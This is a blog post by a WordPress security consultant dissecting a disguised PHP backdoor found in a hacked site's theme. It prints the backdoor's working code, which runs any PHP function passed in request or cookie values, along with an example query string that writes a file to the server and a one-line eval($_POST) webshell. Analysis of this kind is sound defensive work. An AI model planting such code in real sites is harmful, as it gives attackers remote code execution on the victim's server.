New WordPress Backdoor Style Discovered – Hackers Think They Are Sneaky

Posted on April 25th, 2013 at 3:39 pm by Michael VanDeMar under coding, hacking, nerdiness, tutorial, Wordpress

I was cleaning a client’s site today that had been hacked, when I discovered a new backdoor implementation that I had never seen before. This one is a perfect example of why automated scans are often not sufficient when cleaning up a hacked WordPress installation. You can see the full file here: 99bde887d.php.

The file was dropped into the theme that the client is using, and is coded to mimic a core WordPress file, using some of the same function names and coding conventions that WordPress itself uses. It is designed so that most people opening it and actually looking at the code would still not notice that it was anything malicious. I have seen enough back doors though that even creative ones will often stand out to me. It is definitely not something that would be picked up with any of the existing scripted scans out there. While of course someone can update their plugins or scripts to include specific strings to look for that this file contains, the exact variable names and other text in the file could be modified easily enough, even in an automated per-hack basis, so that while the updated scripts would find any instances of this backdoor that I found, they would miss any and all variations of it.

The relevant bits of the code include lines 14 & 15, 47 & 48, and 71 through 77. The rest of the code is misdirection, placed there to cover the tracks of those 11 lines. Lines 14 & 15 look like such:

14
15
if ( empty($_POST) && defined('DOING_AJAX') || defined('DOING_CRON') )
	die();

Since this file is not using include() or require() to tie into any of the core WordPress files, neither defined(‘DOING_AJAX’) nor defined(‘DOING_CRON’) will ever return “true”, so the only actual check here is to see if there are any POST parameters being passed in. If so, continue on, and if not then simply die() (halt execution of the script). Lines 16 through 46 set a constant that never gets used, a function that never gets called, and an if statement that always returns false (but is set to look like it is supposed to load WordPress). The next bit of code that actually does anything are lines 47 & 48:

47
48
if ( false === $crons = _get_cron_array() )
	die();

While this statement may appear to be innocuous enough, what it actually does is set a dummy variable to the output of a function, and if that result is false, die(). The sneaky bit is that by setting the variable it actually causes the function to process, and since the function doesn’t return a value the if statement always evaluates to false. Thus the entire active bits of the script are: check if there are POST parameters, and if so, call this one function, and then end the script.

The function in question, which in this script is named _get_cron_array() and shares the same name as a core WordPress function (but could in fact be named anything), is on lines 71 through 77:

71
72
73
74
75
76
77
function _get_cron_array()
{
	$info = array_merge($_REQUEST,$_COOKIE);
	if ( !isset($info['lng']) ) die( 'Restricted access' );
	else $info['feed']($info['file'], $info['link'].'"'.
	$info['lng'].'"'.$info['title'], $info['file'][1]);
}

What this does is merges all of the REQUEST variable (eg. POST and GET) with the COOKIE variables into a single array named $info, and checks for the existence of one named “lng”. If it doesn’t exist then just stop there, but if it does then treat one named “feed” as a function, with ones name “file”, “link”, “lng”, “title”, and assuming “file” is an array, the second element of “file”, all as parameters that are passed into that function. The upshot of this is that they can pass in any php function whatsoever in the parameter named “feed”, and the script will execute it on the server. For example, if the following query string were passed into this script:

feed=file_put_contents&file=t0ast.php&link=

It would then create a script on the server named t0ast.php, with the following contents:

1
<?php echo "success"; ?>

Of course, I am sure what the hackers passed in was not quite as harmless as this example. This script is a variation of the shortest backdoor that I have ever encountered, which I still see in use occasionally at the top of sites that have been hit:

1
<?php eval($_POST['asc']; ?>

That code does essentially the same thing, allowing arbitrary php code to be executed on the server (ie. it is an RCE, or Remote Code Execution, exploit). The shorter code, however, is easily detected, even with variations. This new script, however, is not. This is why I strongly advocate a complete rebuild of your site if you happen to get hit by hackers, since there are so many ways to hide malicious code in the WordPress framework. By deleting the entire installation and replacing all of the core files and plugins with fresh copies, retaining only the theme and uploads folders, it greatly reduces the amount of code that needs to be examined by hand, which makes it much easier to find stuff like what I outlined here.

If you have been hit, and you are not comfortable following my WordPress cleaning guide yourself, I am available for hire. Simply fill out my contact form letting me know the details of what is going on, and I will get back to you as soon as possible.

Enjoyed what you read here? Subscribe to my feed.

  You should follow me on Twitter!

Be Sociable, Share!

Leave a Reply